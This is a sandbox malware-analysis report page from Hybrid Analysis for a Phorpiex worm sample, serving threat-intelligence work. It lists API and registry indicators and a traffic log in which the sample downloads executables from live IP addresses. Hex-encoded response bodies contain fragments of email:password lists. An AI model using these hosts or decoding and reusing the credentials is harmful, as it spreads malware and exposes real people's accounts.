24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 7d:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4db,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Worm.Phorpiex.Generic Sample 47ef2cfe353b… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 47ef2cfe353b…. Malware family: Worm.Phorpiex.Generic. Threat score 100/100. 12/27 AV engines flagged this file. 8 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/47ef2cfe353b76b935cc4ff6e1648b5d856b3a3bb5610444798909fd306acb4e","keywords":["Malicious","Worm.Phorpiex.Generic","malware analysis","sandbox report","threat intelligence","47ef2cfe353b76b935cc4ff6e1648b5d856b3a3bb5610444798909fd306acb4e"],"about":{"@type":"SoftwareApplication","name":"47ef2cfe353b76b935cc4ff6e1648b5d856b3a3bb5610444798909fd306acb4e.bin","applicationCategory":["peexe","executable"],"identifier":"47ef2cfe353b76b935cc4ff6e1648b5d856b3a3bb5610444798909fd306acb4e","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Worm.Phorpiex.Generic","antivirusDetections":{"malicious":12,"total":27},"behavioralIndicators":{"malicious":8,"suspicious":18},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T65c,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "47ef2cfe353b76b935cc4ff6e1648b5d856b3a3bb5610444798909fd306acb4e.bin") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000352.00000000.190258.008D4000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002980.00000000.189683.011C4000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00003244.00000000.189882.01094000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004280.00000000.190088.00084000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004292.00000000.190348.00314000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004332.00000000.190467.00C54000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005128.00000000.189762.01034000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005552.00000001.191536.00D64000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00006576.00000000.190002.002F4000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00007528.00000000.189486.006F6000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00007588.00000000.190168.002E4000.00000002.mdmp")26:Tfdb,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "47ef2cfe353b76b935cc4ff6e1648b5d856b3a3bb5610444798909fd306acb4e.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "47ef2cfe353b76b935cc4ff6e1648b5d856b3a3bb5610444798909fd306acb4e.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000352.00000000.190258.008D4000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000352.00000000.190258.008D4000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002980.00000000.189683.011C4000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002980.00000000.189683.011C4000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003244.00000000.189882.01094000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003244.00000000.189882.01094000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004280.00000000.190088.00084000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004280.00000000.190088.00084000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004292.00000000.190348.00314000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004292.00000000.190348.00314000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004332.00000000.190467.00C54000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004332.00000000.190467.00C54000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005128.00000000.189762.01034000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005128.00000000.189762.01034000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005552.00000001.191536.00D64000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005552.00000001.191536.00D64000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006576.00000000.190002.002F4000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006576.00000000.190002.002F4000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007528.00000000.189486.006F6000.00000004.mdmp, 00000000-00007528.00000002.191597.00A82000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007528.00000000.189486.006F6000.00000004.mdmp, 00000000-00007528.00000002.191597.00A82000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007588.00000000.190168.002E4000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007588.00000000.190168.002E4000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00011988.00000000.191339.9C06B000.00000002.mdmp")27:T4ab,Found reference to API "ControlServiceEx" (Indicator: "ControlService"; Source: "00000000-00011988.00000000.191339.9C06B000.00000002.mdmp") Found reference to API "ControlService" (Indicator: "ControlService"; Source: "00000000-00011988.00000000.191339.9C06B000.00000002.mdmp") Found reference to API "ChangeServiceConfig2 (delayed autostart flag)" (Indicator: "ChangeServiceConfig"; Source: "00000000-00011988.00000000.191339.9C06B000.00000002.mdmp") Found reference to API "ChangeServiceConfig" (Indicator: "ChangeServiceConfig"; Source: "00000000-00011988.00000000.191339.9C06B000.00000002.mdmp") Found reference to API "ChangeServiceConfig2" (Indicator: "ChangeServiceConfig"; Source: "00000000-00011988.00000000.191339.9C06B000.00000002.mdmp") Found reference to API "ChangeServiceConfigW" (Indicator: "ChangeServiceConfig"; Source: "00000000-00011988.00000000.191339.9C06B000.00000002.mdmp") Found reference to API "ControlServiceExW" (Indicator: "ControlService"; Source: "00000000-00011988.00000000.191339.9C06B000.00000002.mdmp") Found reference to API "ChangeServiceConfig2W" (Indicator: "ChangeServiceConfig"; Source: "00000000-00011988.00000000.191339.9C06B000.00000002.mdmp")28:T897,Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00000352.00000000.190258.03410000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00002980.00000000.189683.00700000.00000004.mdmp, 00000000-00002980.00000001.191604.00700000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00003244.00000000.189882.007A0000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00004280.00000000.190088.02C90000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00004292.00000000.190348.03160000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00004332.00000000.190467.032E0000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00005128.00000000.189762.00A20000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00005552.00000000.189615.009F0000.00000004.mdmp, 00000000-00005552.00000001.191536.009F0000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00006576.00000000.190002.03250000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00007528.00000000.189486.02B90000.00000004.mdmp, 00000000-00007528.00000001.191407.02B90000.00000004.mdmp, 00000000-00007528.00000002.191597.02B90000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00007588.00000000.190168.028B0000.00000004.mdmp")29:T51c,"3365237735.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS") "3365237735.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS") "3365237735.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS") "3365237735.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS") "3365237735.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WINHTTP") "3365237735.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WINHTTP") "3365237735.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS") "3365237735.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SQMSERVICELIST") "3365237735.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SQMSERVICELIST") "3365237735.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION") "3365237735.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION")2a:Ta32,"" (Indicator: "enumchildwindows"; Source: "00000000-00000352.00000000.190258.03410000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00002980.00000000.189683.00700000.00000004.mdmp, 00000000-00002980.00000001.191604.00700000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00003244.00000000.189882.007A0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00004280.00000000.190088.02C90000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00004292.00000000.190348.03160000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00004332.00000000.190467.032E0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00005128.00000000.189762.00A20000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00005552.00000000.189615.009F0000.00000004.mdmp, 00000000-00005552.00000001.191536.009F0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00006576.00000000.190002.03250000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00007528.00000000.189486.02B90000.00000004.mdmp, 00000000-00007528.00000001.191407.02B90000.00000004.mdmp, 00000000-00007528.00000002.191597.02B90000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00007588.00000000.190168.028B0000.00000004.mdmp")31:T9f2," HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 28 Apr 2026 07:50:03 GMT Content-Type: application/octet-stream Content-Length: 18432 Last-Modified: Wed 22 Apr 2026 23:41:12 GMT Connection: keep-alive ETag: "69e95c98-4800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 28 Apr 2026 07:50:04 GMT Content-Type: application/octet-stream Content-Length: 18432 Last-Modified: Wed 22 Apr 2026 23:42:34 GMT Connection: keep-alive ETag: "69e95cea-4800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /3.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 28 Apr 2026 07:50:05 GMT Content-Type: application/octet-stream Content-Length: 18432 Last-Modified: Wed 22 Apr 2026 23:43:50 GMT Connection: keep-alive ETag: "69e95d36-4800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Tue 28 Apr 2026 07:50:06 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=iT7UkRrQuH_16rOY_j9190c8ckxA1pRH7ASYsVxzB4w-1777362606.1080372-1.0.1.1-3.bn6YbBHR9.7oeBtDfxTzxWJiD3awBw5_bXvuXJxKLjQZdSXxYScomzb83ph9n1V3td6M8Rl3bpM3xE3izO7X.1en7IFAEQjp13Lglzdj.BvDR_DvoIdKhGoU3wDzrp; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Tue 28 Apr 2026 08:20:06 GMT Server: cloudflare CF-RAY: 9f3479602d04172e-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /1/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 28 Apr 2026 07:50:06 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Sun 19 Apr 2026 09:24:07 GMT Connection: keep-alive ETag: "69e49f37-6" Accept-Ranges: bytes with response body ==>36303739310A....... "GET /1/3855.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 28 Apr 2026 07:50:07 GMT Content-Type: text/plain Content-Length: 258239 Last-Modified: Sun 19 Apr 2026 05:47:21 GMT Connection: keep-alive ETag: "69e46c69-3f0bf" Accept-Ranges: bytes with response body ==>72617368646132407765622E64653A6D6F6E73746572310A6E6562756C657573653839407765622E64653A3132333435363738390A636C6F72656E747A407765....... "GET /4.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 28 Apr 2026 07:50:07 GMT Content-Type: application/octet-stream Content-Length: 18432 Last-Modified: Wed 22 Apr 2026 23:45:54 GMT Connection: keep-alive ETag: "69e95db2-4800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Tue 28 Apr 2026 07:50:07 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=O93mHkYvAmnmzqqHiBxd3xcpaQnTuYtqXstFpPwsRqQ-1777362607.7135847-1.0.1.1-r5gAo68dm2huF3_DV_CX33v4Edh0tCTBKH6MOVpdZiS0NihOlicHszKhvKAKWKkMYtUJMm2Z1qIKNp_JSgGrCiHkuigmg1gVCYJJeQEwP8vTSwKZReWZsfoPATqZjoOe; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Tue 28 Apr 2026 08:20:07 GMT Server: cloudflare CF-RAY: 9f34796a3a51939b-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /2/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 28 Apr 2026 07:50:08 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Sun 19 Apr 2026 09:25:01 GMT Connection: keep-alive ETag: "69e49f6d-6" Accept-Ranges: bytes with response body ==>35393730340A....... "GET /2/7836.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 28 Apr 2026 07:50:09 GMT Content-Type: text/plain Content-Length: 258232 Last-Modified: Sun 19 Apr 2026 08:27:42 GMT Connection: keep-alive ETag: "69e491fe-3f0b8" Accept-Ranges: bytes with response body ==>636831390A6561676C6572616C66407765622E64653A726564323462756C6C21210A6861726F756E69646A407961686F6F2E66723A6861726F756E69646A0A70....... "GET /5.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 28 Apr 2026 07:50:09 GMT Content-Type: application/octet-stream Content-Length: 18432 Last-Modified: Wed 22 Apr 2026 23:54:08 GMT Connection: keep-alive ETag: "69e95fa0-4800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Tue 28 Apr 2026 07:50:10 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=Oxb1xKBpLy8REaeoroyaFwf5uPvlM2nh_EttoiCcxTs-1777362610.0541465-1.0.1.1-X14jX6swPzeoTzCz8bMk6TIoTBqt1Xsr9z4tyD8Hs.CX4zTcE.iF5AFU_eJHtrCUeO1Uzg6E.AZMOqaS93CKg.VJltHrQ_AjZDTFyYlWszNdqEQ8F1Nm9QbhzgrRJK.M; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Tue 28 Apr 2026 08:20:10 GMT Server: cloudflare CF-RAY: 9f347978dc592289-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /6.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 28 Apr 2026 07:50:10 GMT Content-Type: application/octet-stream Content-Length: 18432 Last-Modified: Wed 22 Apr 2026 23:55:48 GMT Connection: keep-alive ETag: "69e96004-4800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /3/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 28 Apr 2026 07:50:11 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Sun 19 Apr 2026 09:28:25 GMT Connection: keep-alive ETag: "69e4a039-6" Accept-Ranges: bytes with response body ==>33373438380A....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Tue 28 Apr 2026 07:50:11 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=MhOXoITKDjFg8ct.sBwsLdaydS5Ye0RECPE_LNNPR.s-1777362611.2742176-1.0.1.1-GmcjPd4rTkpHeNaN3CgAgzZzJ4zUopLZ3cNds_hx0kc9kSFMfM4MAvPqVP_lcBSSJJ1iQPnjF7AicCU57_pkT_9cvClA7HsHxZoWUl1OlZVslqs6za5cqdY6FXPgpvTl; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Tue 28 Apr 2026 08:20:11 GMT Server: cloudflare CF-RAY: 9f34798078956d29-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /3/12836.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 28 Apr 2026 07:50:11 GMT Content-Type: text/plain Content-Length: 258238 Last-Modified: Sun 19 Apr 2026 08:37:54 GMT Connection: keep-alive ETag: "69e49462-3f0be" Accept-Ranges: bytes with response body ==>79616440766964656F74726F6E2E63613A63686F636F6C61740A62656E6A616D696E62697363686F66663233407765622E64653A3132333435363738310A6568....... "GET /4/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 28 Apr 2026 07:50:11 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Mon 20 Apr 2026 02:00:15 GMT Connection: keep-alive ETag: "69e588af-6" Accept-Ranges: bytes with response body ==>36333532310A....... "GET /7.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 28 Apr 2026 07:50:12 GMT Content-Type: application/octet-stream Content-Length: 18432 Last-Modified: Wed 22 Apr 2026 23:57:52 GMT Connection: keep-alive ETag: "69e96080-4800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /4/20951.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 28 Apr 2026 07:50:12 GMT Content-Type: text/plain Content-Length: 258707 Last-Modified: Sun 19 Apr 2026 15:46:55 GMT Connection: keep-alive ETag: "69e4f8ef-3f293" Accept-Ranges: bytes with response body ==>6D656E406A6176796F6D657869636F2E636F6D3A68747470730A6A626F6573652E2E5F2D406C6976652E66723A4739617469313935380A6A79616E6368696B40....... "GET /8.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 28 Apr 2026 07:50:13 GMT Content-Type: application/octet-stream Content-Length: 18432 Last-Modified: Wed 22 Apr 2026 23:58:50 GMT Connection: keep-alive ETag: "69e960ba-4800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Tue 28 Apr 2026 07:50:13 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=.PujDkEik74DNMs3AOtJGfC0zmj6UjSL5DqAmyQbIFk-1777362613.8523808-1.0.1.1-JCZtYtAuAbvtnRx693nKi8WrAZDRBAhqzxiwosP0nCWSqct122NDXklxQRaFujhhrPRI3IWRko_O60hKhUcioqTA0XRp9Nb_9PDSdhUaX03GcLJvrcUGrVJrLJiE2sHZ; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Tue 28 Apr 2026 08:20:13 GMT Server: cloudflare CF-RAY: 9f3479909eeb7834-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /5/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 28 Apr 2026 07:50:14 GMT Content-Type: text/plain Content-Length: 7 Last-Modified: Mon 20 Apr 2026 08:26:43 GMT Connection: keep-alive ETag: "69e5e343-7" Accept-Ranges: bytes with response body ==>3132303936380A....... "GET /9.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 28 Apr 2026 07:50:14 GMT Content-Type: application/octet-stream Content-Length: 18432 Last-Modified: Mon 27 Apr 2026 12:31:08 GMT Connection: keep-alive ETag: "69ef570c-4800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /5/27430.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 28 Apr 2026 07:50:15 GMT Content-Type: text/plain Content-Length: 258343 Last-Modified: Mon 20 Apr 2026 06:15:49 GMT Connection: keep-alive ETag: "69e5c495-3f127" Accept-Ranges: bytes with response body ==>676F7468616D6369747966697265776F6F64406F322E706C3A73756E6E793331320A676F7468616D326B72617A79407961686F6F2E636F6D3A3233333732390A....... "GET / 